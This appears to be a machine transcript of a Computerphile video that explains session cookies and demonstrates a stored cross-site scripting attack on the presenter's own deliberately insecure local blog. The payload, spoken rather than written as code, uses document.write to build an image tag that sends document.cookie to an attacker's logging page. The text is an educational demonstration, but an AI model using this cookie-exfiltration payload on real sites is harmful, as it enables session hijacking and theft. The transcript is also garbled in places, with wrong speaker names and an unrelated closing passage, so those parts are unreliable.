Cookie Stealing - Computerphile

So I was watching some old Computerphile videos like we all do and I was watching a Tom Rodden video about

cookie

s. Rodden: How are small shopping carts made then? Pound: And he talks a lot about tracking

cookie

s, which are very important, okay. And just a side note, I would say that everyone should install Ghostery and prevent people from tracking your whereabouts, what you are doing, and what you are browsing online. But today I'm not talking about tracking cookies, or persistent cookies, but rather cookie theft, which is the idea that if I can access your cookie from your browser, I can somehow pretend to be you. on that website.

Maybe a little review of what a cookie does so that this puts it in context. Now, of course, if you want to know a lot more about cookies, go back and watch Tom's video. HTTP and HTML are not persistent. I make a request to a website, it shows me HTML (and maybe Javascript) and that's the end of the transaction, as far as it's concerned. I make another request, it is a new transaction. So there's no standard way for me to persist that mechanism. Interviewer: So when you say you make a request, does that mean, for example, you click on a link or something?

Libra: Yes. Then I go to Google and type www.google.co.uk, or I click on a link on a web page that takes me to another website. Or, in fact, my browser needs to request an image from a server because I clicked the plus icon on something and I'm trying to view a high-resolution image. Interviewer: So even if you're on the same site, you click on different links on that same site. Pound - Will start a new connection or use the existing connection to send another HTTP request which is basically just a string saying "I want this file, please send it back" and hopefully the server will return it.

Because this is not persistent, the obvious problem is how do we do things like shopping baskets and "I'm at stage 5 of 6" when setting up my online banking or something, how do we remember what I already wrote? ? The way we do this is by using cookies. So the first time I visit a website, it may send me a cookie that may be a unique identifier for me. So let's say a series of numbers, okay? And then I think, "Well, I'm going to go back to that website and sign up," so I type the username I want and submit the username and the request for the next page.

And I also send this unique string of numbers. And the reason is because then the server can look in the database and say "oh yeah, I remember, he was the one using this username, and now I can show him this slightly different web page where the username It's already written." ". or "I've already remembered what's in your shopping basket" or something like that. That's what a cookie is for. Now, of course, as Tom rightly points out, they're also used to track what you're doing online So, banner ads and other things will use tracking cookies to track you between websites, which is a little worrying.

But again, I'm not going to talk about that anymore just to get your attention. people about how scary it is. The problem is that if I get a cookie from you, which is supposed to be secure, then I can send it to, say, Amazon or a store and say, "I'm Sean, please, you know, what?" what's in your purchases? basket" "What is your address?", "What are your credit card details?" "Can I change the address of this?" If I do that in the middle of your transaction, when you have entered your details, I can override and change the shipping address and send things to my house.

It's involved, but it could happen. If I can get that cookie, now those cookies are stored by the browser and they're on your computer, so it's pretty difficult for me to do. .But cross-site scripting is a very simple way to do it. So that's what we're going to do today and we're going to do it using a cross-site scripting attack. different video that Tom Scott did on cross-site scripting But what we're basically going to do is inject a script into a blog (not a secure blog, I should say) and that, when someone else visits the site, they'll get their cookie. session and it will send it to me.

And that, in theory, I could use to take over your session. This is the best blog in the world, of course. Very good, it looks good and has good content. Here's a picture of a kitten and some kind of banner and that's it. And some Lorem Ipsum. And then this blog has a comments channel at the bottom. So if we look at the comments: “Thank you so much, I love the blog,” that kind of thing. It's all very positive (well, almost) and the point is that I can write additional comments here. Then I can say: "Thank you!" from Mike again.

And I can post this and then when I scroll down, there it is. And the time I did it. This is the kind of time when a cross-site scripting attack is possible if you haven't coded your website correctly. Well, what I need to do when someone types some text here is make sure that that's what it is and that it's not, in fact, a valid HTML or JavaScript script, because if it is, what happens is that this browser does it. received back on the server and you have no reason to think that's not just part of what the server intended, I think because it's just a script tag like any other, the server will probably hand out script tags of commands anyway, right, to do other things and it only works for another one that's pretty fair, I mean, they do it all the time, so we execute it well and that's where there's a problem, so it's responsibility of the server and the person who programs the server to make sure that when I send data it doesn't. it's not a real script, nor things that can run well, so this is very similar to a SQL injection, except we're injecting HTML instead of SQL.

They are very similar types of attacks, so let's see if it works. The most obvious example is a really simple one, let's see if we can get a popup to appear, so I'll open closing HTML tags and then we'll say alert "XSS!" Well, in theory what will happen is that this page will send me these comments when I go to this website and they will see this script and they won't think it's a comment, they will think it's part of the actual web page that will run and then it will close . here we go... so let's see if it works.

I need to put a name in, so I don't want to incriminate myself, so let's put in someone else, like Sean, for example, could send it and reload this someone else's web page. A small popup appears saying localhost XSS. Okay, so the service tells me XSS! This is where you stop and then continue and tell them about it, but you can go further. To be absolutely clear, this is my own website running on my laptop; It's not secure on purpose and it doesn't matter if I hack it because no one will be hurt. Well, I would never do this in a public place. website so I just uploaded some files to show you how the blog works behind the scenes so you have an idea of ​​what's going on so this is PHP so it's going to be a mix of PHP and HTML code some of which It is a result. of PHP, something that was just put in, so here you can see that I called something called login.

Now what the session starts doing is PHP is going to see if the cookie they received is a valid session and if it is, it is going to resume my session. It will remember who I am and any parameters that this website has set for me will be remembered. in the database if there is no cookie registered for me that means I am entering it for the first time for my session expired and it will create one and send it back to me in the first response right now everything happens within this login and it's not something I need to worry about as a developer, you can do it yourself now that I have The standard comment submission is fine, so I submit the blog text and then check to see if anyone clicks the "Submit Comment" button ".

It will check the post values ​​for the content and its name and then put them in a database now as a side note. escaping these MySQL strings, there we are, so I'm not vulnerable to a MySQL injection because of these bits, so that's good, but I'm not vulnerable to SQL injection, unfortunately I'm vulnerable to cross-site scripting , so I'm not doing any kind. of cross-site scripting detection here, okay, I'll just return what the person wrote now as an attacker. What I did was I created another PHP file called send cookie dot PHP, which is just a file that takes as a parameter, a cookie string is stored in a database on these two lines here and then returns it in the image, so what I'm going to do is write a cross site scripting attack which is basically a comment on this blog which causes your website or your client to visit this send cookie dot PHP and give them the cookie ok because this is a question What I remember bringing up when we were talking about this kind of thing before is the difference between client and server side, do you know that you are doing some code that will cause the server to find this code?

Imagine I've imagined it, so imagine there's no PHP, there's no script, right? All there is is a website with some images. Well, you are the server and I am the client. I say, can I get index.html? You say yes, here it is fine. I read it and show it on the screen and then I realized that it actually has an image that has a font that is like your-website/image1.jpg, so I say, okay, I need this too. I have jpg, this JPEG and you send it back, so I make several requests to get the different pieces of content like this and just like with a banner ad, I might get to a fragment in the HTML that tells me that go to some other website or something else and then, there's no reason to think that's not a reasonable request, maybe your images are stored on a different server, so I'll go there, ok, so I'll go, it was an image and I need that from here, so I go there and I get it right.

The fact that it also packaged my cookie is just an unfortunate side effect, but it's not something that was necessary and it wasn't something that was intended when they developed the web, but it's unfortunately what happens now is what will happen. Well, maybe that's true, so I'll start with the script, so we already know that this blog is vulnerable to cross-site scripting, so we don't need to worry specifically about that. I don't have to obfuscate it or do anything clever, I'm going to say document dot write ok, now that just won't write anything to the screen, so my comment on my blog will just be a script that won't do anything right, that's not very interesting, so Let's do something a little more interesting: our PHP file takes the cookie and returns an image, so let's display it on the screen, right?

So the image tag in HTML IMG is the image tag whose source is the HTTP code in /localhost now obviously this could be a different website / send PHP cookie point Question mark; now this requires get requests so I say send a cookie. PHP? and when I say the cookie is the same and that's what I'm going to steal your cookie and give me the right to do it, all I do is say more document. cookie: I'm escaping this so that it passes correctly over HTML plus and then I'm going to close my image tag because otherwise it's going to have bad HTML formatting and it might run correctly and then a single quote is fine, so let's look at what this does.

The script here tells the website that this is a script to run and not a standard piece of HTML, so the document.right function is just a piece of JavaScript that says dump this as text, but it can also take parameters instead of just text, yes, and it will generate valid HTML that is a link to an image, but that image is not saved on the server which is theoretically located somewhere else, now what returns an image is a PHP file, no an actual image, which also takes the cookie parameter, which is a bit worrying, so when I first came to this blog I requested the PHP index dot server to start running this and called the start function session, which was: oh, it needs a session cookie and it sent me one. the answer, so then I packaged that session cookie and put it in my browser, then when I visited that blog again, I sent that session cookie back to the server to say it's me again, yeah, and if I had some persistence on this blog like if I were writing a document that I was half written, I would remember who I was now, so my browser stores this cookie and in theory the attacker can't access it because it's on my browser and not theirs.

Alright, so what you have to do is trick the browser into sending it back, so the order in which things happen is that it then sends an index.php request to your blog to view it. Well, it sends you back to a big website with stuff. including some comments, one of which has a script that says there arean image here you need, it's okay in this PHP file, so I go great, I get my document.cookie and I send it to that PHP file and I get an image and I think nothing went wrong, but now they have my cookie But Did the cookie go to the place where the image was supposedly? and of course this will return an image, but in some cases it will return nothing and there will be no evidence that this happened other than if you actually looked at the source code of the file, which of course you know someone is going to do. but normally no one would do it if this got to a forum or something that a lot of people could see.

This before they realized what was happening. Now it's not unusual for an image to be delivered via a script and not an actual physical link to an image because, for example, could it be an ad or? It could be a dynamically created ad, it could be different, it could be a resolution specified there or you know a lot of different reasons why you do it, so a lot of times it's going to be dynamically generated in some way, so this is no different than that, except that this also takes a parameter that shouldn't be taken, but I have no control over that and the browser isn't that insecure, it just has no reason to doubt me.

Know the scripts that use document dot cookies legitimately, you know they exist and if you block them websites start to crash because they use cookies for persistence so it's a real problem. Let's click submit and see what happens so what have you done there to update it? Yes, and it didn't work, because I did it wrong. You know, I didn't write my name down, that's why it didn't work, so Mike's right. I'll take credit for this so we can send it and then we run it and we scroll down and we get a picture of Cookie Monster so please send the cookie dot.

PHP took my cookie and returned an image. Now it's not unusual for people to have images in comments or forum posts and things like that. I've seen this picture, other than the fact that it's Cookie Monster, maybe he doesn't realize what just happened. It's completely silent, it happened behind the scenes. All that happened is that they quickly took the cookie from someone else and gave them back a picture. Well, this type of image request happens all the time, but this one has a cookie in it and that's bad news. As an attacker, this is my database and I select * from wrong, which is the name of my table that records the cookie.

You can see what my session cookie is now, phpsessid, which is stuck here, so that's the session cookie for that PHP session now in This blog doesn't have much effect, first of all because I already have this cookie, but mainly because there is nothing on this blog that having a cookie can help. It won't let you access my basket or my credit card details or log in, but if you did this on a website where there were purchases involved or money involved or a banking website and if it's not encrypted correctly you could get that session cookie.

Fool the bank into thinking you are resuming their session. You know they could go so far, say in a transaction, that you could then steal their session. Log in and simply change the bank account details to your own. The bank doesn't really have them. Any idea knowing that people's session cookies are the only thing that really binds them to that website? I mean, you can do more complicated things like you can, you can set IPs to session cookies for example, right, but people's IPs change, right? they may move from one Wi-Fi area to another, their IP changes necessarily you want them to have to re-authenticate, maybe you do it for security reasons, but it depends on the way the website is developed, this is a great example of a verification moment to the time of use problem, okay, which is a security term that is basically the idea that something changes between the time someone authenticates and the time they do something and causes a security issue, so I type the username password on Amazon and ten minutes later.

I've walked away, someone else shows up and spends all my money shipping things to their address. Well, that would be a problem, so what Amazon does is force me to re-authenticate right before entering my data. Well, just before making the transaction. I can add a lot of things to my basket without having to authenticate. I remember that last time, but as soon as I have to do something right, like spend money, it will ask me for my credentials again. The same goes for online banking if I use my bank, if I log in to my online banking, I use some type of chip and pin device to authenticate myself that allows me the first time to see my bank balances, if I want to send money, I they'll ask it again because they can't.

I don't risk going off course by mistake by leaving that browser open or someone

stealing

my cookie. We're still working on this and we'll end up with something that looks almost like a cube, so we'll probably have a little more in there. and a little more here and there, but we'll get there, we're getting there. Now some objects are obviously more susceptible to this than others, but the more images we get, the better.